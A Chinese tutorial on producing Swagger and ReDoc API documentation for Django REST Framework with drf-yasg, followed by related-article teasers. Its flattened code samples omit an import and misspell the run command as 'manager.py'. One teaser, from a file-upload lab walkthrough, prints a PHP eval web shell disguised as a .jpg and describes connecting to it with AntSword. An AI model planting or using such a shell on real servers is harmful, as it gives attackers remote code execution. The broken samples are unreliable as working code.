Django-REST-Framework 如何快速生成Swagger, ReDoc格式的 REST API 文档

1、API 接口文档的几种规范格式

前后端分离项目中,使用规范、便捷的API接口文档工具,可以有效提高团队工作效率。

标准化的API文档的益处:

  • 允许开发人员以交互式的方式查看、测试API接口,以方便使用
  • 将所有可暴露的API接口进行分类,整齐的文档便于快速查找和使用

当前流行的REST API接口文档格式有: Swagger(当前已成为OpenAPI3.0规范), redoc等。

2、自动生成API接口的工具

Django-Rest-Framework 内置了1个 API 文档生成模块: rest_framework.documentation

但笔者推荐使用第3方工具: drf-spectacular , drf-yasg,可以生成更规范的Swagger, ReDoc格式的API接口文档

3、使用 drf_yasg 自动生成 Swagger, ReDoc API文档

先准备好Django-REST-Framework项目,编写并测试好至少1个API 测试接口。

关于Django-REST-Framework 的使用,可以在网上搜索相关教程

Step-1, 安装 drf-yasg 库

pip install coreapi
pip install -U drf-yasg[validation]

Step-2 增加 drf_yasg 配置

在项目的 myproject/myproject/settings.py 中添加如下配置

INSTALLED_APPS = ['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles',    'rest_framework','drf_yasg','quickstart', # app name 'corsheaders','student_rest',  # new app 
]REST_FRAMEWORK = {'DEFAULT_SCHEMA_CLASS': 'rest_framework.schemas.coreapi.AutoSchema',
}

Step-3 添加 drf_yasg 的 url

drf-yasg 可以自动识别通过 url 暴露的 函数视图, CBV类视图, APIview, Viewset 通用视图类的接口, 无须在视图层添加额外代码。仅须将drf_yasg 的url 添加到django的路由配置中即可。

添加如下代码至 myproject/myproject/urls.py 中

from drf_yasg.views import get_schema_view
from drf_yasg import openapi# Swagger documentation setup
schema_view = get_schema_view(openapi.Info(title="Rest API",default_version='v1',description="Test description",terms_of_service="https://www.google.com/policies/terms/",contact=openapi.Contact(email="contact@snippets.local"),license=openapi.License(name="BSD License"),),public=True,permission_classes=(permissions.AllowAny,),)urlpatterns = [path('swagger<format>/', schema_view.without_ui(cache_timeout=0), name='schema-json'),path('swagger/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),path('redoc/', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),]

Step-4 测试

启动项目:

python manager.py runserver

在浏览器中输出下列url, 可以看到所有API均以 redoc 格式呈现,每个接口均有说明与示例, 可以进行测试。

http://127.0.0.1:8000/redoc/

在这里插入图片描述

以 swagger 格式查看, 除了查看外,支持测试,也可以查询过滤接口,相当方便

http://127.0.0.1:8000/swagger/

在这里插入图片描述

4、Django-REST-Framework内置 API 文档工具

DRF内置的API文档工具生成的API文档也非常规范,也是Python开源社区最流行的API文档格式。 但笔者在测试时,发现需要安装 coreapi 库

安装 coreapi

pip install coreapi 

添加 rest_framework.documentation 路由

在 myproject/myproject/urls.py 中引入预定义的url , 再添加路由即可

from rest_framework.documentation import include_docs_urls urlpatterns = [....path('docs/', include_docs_urls(title='api-docs')),]

测试接口: http://127.0.0.1:8000/docs/

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/578023.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

普冉PY32系列(十四) 从XL2400迁移到XL2400P

目录 普冉PY32系列(一) PY32F0系列32位Cortex M0 MCU简介普冉PY32系列(二) Ubuntu GCC Toolchain和VSCode开发环境普冉PY32系列(三) PY32F002A资源实测 - 这个型号不简单普冉PY32系列(四) PY32F002A/003/030的时钟设置普冉PY32系列(五) 使用JLink RTT代替串口输出日志普冉PY32…

React快速入门之组件

组件 文件&#xff1a;Profile.js export default function Profile({isPacked true&#xff0c;head,stlyeTmp,src,size 80}) {if (isPacked) {head head " ✔";}return (<div><h1>{head}</h1><imgsrc{src}alt"Katherine Johnson&q…

cmake 入门笔记

以下内容为本人的著作&#xff0c;如需要转载&#xff0c;请声明原文链接 微信公众号「englyf」https://mp.weixin.qq.com/s/dUmsmiwzULQKmjfFILDdag 1. cmake 是什么&#xff1f; 这些年大型 C/C 工程都纷纷转到了 cmake 环境下&#xff0c;那么这个工具到底有什么魅力吸引着…

电商数据分析-02-电商业务介绍及表结构

参考 电商业务简介 大数据项目之电商数仓、电商业务简介、电商业务流程、电商常识、业务数据介绍、电商业务表、后台管理系统 举个例子:&#x1f330; 1.1 电商业务流程 电商的业务流程可以以一个普通用户的浏览足迹为例进行说明&#xff0c;用户点开电商首页开始浏览&…

Guava的Joiner的日常使用

具体使用参考官方文档&#xff1a;https://github.com/google/guava/wiki/StringsExplained#joiner//1 处理&#xff0c;为null的值&#xff0c;替换 String join Joiner.on("_").useForNull("*").join("1", "2", 90, 100,110,109,20…

shell 编程中内置的变量(冷门又好用)

简介 分别盘点一下 shell 中的内置变量&#xff0c;真的巨好用&#xff01;&#xff01;&#xff01;包括&#xff1a;环境变量类、shell 变量类、终端设置类和其他一些变量。 常用的内置变量目录如下 1. 环境变量类 $MACHTYPE&#xff1a;机器类型 $OSTYPE&#xff1a;操作…

JVM初识-----01章

一.虚拟机与java虚拟机的区别以及共同点 1.虚拟机&#xff08;Virtual Machine&#xff0c;简称VM&#xff09; 是一种能够在物理计算机上模拟一台完整的计算机系统的软件。它运行在宿主操作系统之上&#xff0c;可以提供一个独立的运行环境&#xff0c;使得在不同的操作系统上…

【深度学习-目标检测】03 - Faster R-CNN 论文学习与总结

论文地址&#xff1a;Faster R-CNN: Towards Real-Time ObjectDetection with Region Proposal Networks 论文学习 1. 摘要与引言 研究背景与挑战&#xff1a;当前最先进的目标检测网络依赖于 区域提议&#xff08;Region Proposals&#xff09;来假设目标的位置&#xff0c…

CentOS系统环境搭建(二十六)——使用nginx在无域名情况下使用免费证书设置https

centos系统环境搭建专栏&#x1f517;点击跳转 文章目录 使用nginx在无域名情况下使用免费证书设置https1.获取SSL证书1.1 生成SSL密钥1.2 生成SSL证书1.3 重命名密钥文件 2.nginx配置https2.1 放证书2.2 修改nginx.conf文件2.2.1 将80端口重定向到4432.2.2 端口443配置ssl证书…

如何处理uni-app中的跨平台差异

在uni-app中&#xff0c;可以通过条件编译和平台判断来处理跨平台差异代码。具体步骤如下&#xff1a; 在uni-app项目的根目录下&#xff0c;找到名为manifest.json的文件&#xff0c;这是uni-app的配置文件。 在manifest.json文件中&#xff0c;可以使用条件编译指令来处理不…

Upload-Labs-Linux

题目 1.打开靶机 随便上传一个图片&#xff0c;查看get请求发现/upload/XXX.jpg 2.创建一个脚本文件 命名为flag.php.jpg,并上传 脚本文件内容&#xff1a; <?php eval($_POST[1234])?> 3上传后复制文件get请求的链接并打开蚁剑 连接密码为123 双击链接 4&#xff…

我在 VSCode 插件里接入了 ChatGPT,解决了Bug无法定位的难题

作为一名软件开发者&#xff0c;我时常面临着代码中Bug的定位和解决问题。这个过程往往既费时又充满挑战。然而&#xff0c;最近我在我的VSCode插件中接入了ChatGPT&#xff0c;这个决定彻底改变了我处理Bug的方式。 Bug&#xff1a;开发者的噩梦 在开发过程中&#xff0c;遇…

leetcode 6. N 字形变换(medium)(优质解法)

链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 代码&#xff1a; class Solution {public String convert(String s, int numRows) {if(numRows 1) {return s;}int lengths.length();StringBuilder retnew StringBuilder();//获取…

5.2 显示窗口的内容(二)

三,显示器几何形状管理 只有显示管理器被允许更改显示器的几何形状。窗口管理器也是显示管理器。 3.1 当显示器显示其自身内容时 当显示器显示其自身内容时,适用以下属性: 显示属性描述SCREEN_PROPERTY_PROTECTION_ENABLE表示显示目标窗口是否需要内容保护。只要显示器上…

Flink电商实时数仓(六)

交易域支付成功事务事实表 从topic_db业务数据中筛选支付成功的数据从dwd_trade_order_detail主题中读取订单事实数据、LookUp字典表关联三张表形成支付成功宽表写入 Kafka 支付成功主题 执行步骤 设置ttl&#xff0c;通过Interval join实现左右流的状态管理获取下单明细数据…

zookeeper基本使用

目录 环境搭建 单机版搭建 集群版搭建 基本语法使用 可视化客户端 数据结构 节点分类 1. 持久节点 2. 临时节点 3. 有序节点 4. 容器节点 5. TTL节点 节点状态 监听机制 watch监听 永久性watch 应用场景 1. 实现分布式锁 2. 乐观锁更新数据 应用场景总结 选…

nodejs如何使用clusster配置多cpu

Nodejs的主进程是单线程的&#xff0c;但它有多线程处理⽅案&#xff08;更准备来说是多进程⽅案&#xff09;&#xff0c;即主进程开启不同的⼦进程&#xff0c;主进程接收所有请求&#xff0c;然后将分发给其它不同的nodejs⼦进程处理。 它⼀般有两种实现&#xff1a; 1. 主进…

C++中的存储类及其实例

文章目录 0. 语法1. 自动存储类自动存储类对象的属性自动存储类的例子 2. 外部存储类extern存储类对象的属性extern存储类的例子 3. 静态存储类静态存储类的属性静态存储类的例子 4. 寄存器存储类寄存器存储类对象的属性寄存器存储类例子 5. 可变&#xff08;mutable&#xff0…

【机器学习】Boosting算法-梯度提升算法(Gradient Boosting)

一、原理 梯度提升算法是一种集成学习方法&#xff0c;它可以将多个弱分类器或回归器组合成一个强分类器或回归器&#xff0c;提高预测性能。梯度提升算法的核心思想是利用损失函数的负梯度作为残差的近似值&#xff0c;然后用一个基学习器拟合这个残差&#xff0c;再将其加到之…

MATLAB绘图

1.二维图 1.线图 要创建二维线图&#xff0c;请使用plot函数。例如&#xff0c;绘制正弦函数&#xff1a; x linspace(0,2*pi); y sin(x); plot(x,y)可以添加轴并添加标题&#xff1a; xlabel("x") ylabel("y") title("plot of the sine Functio…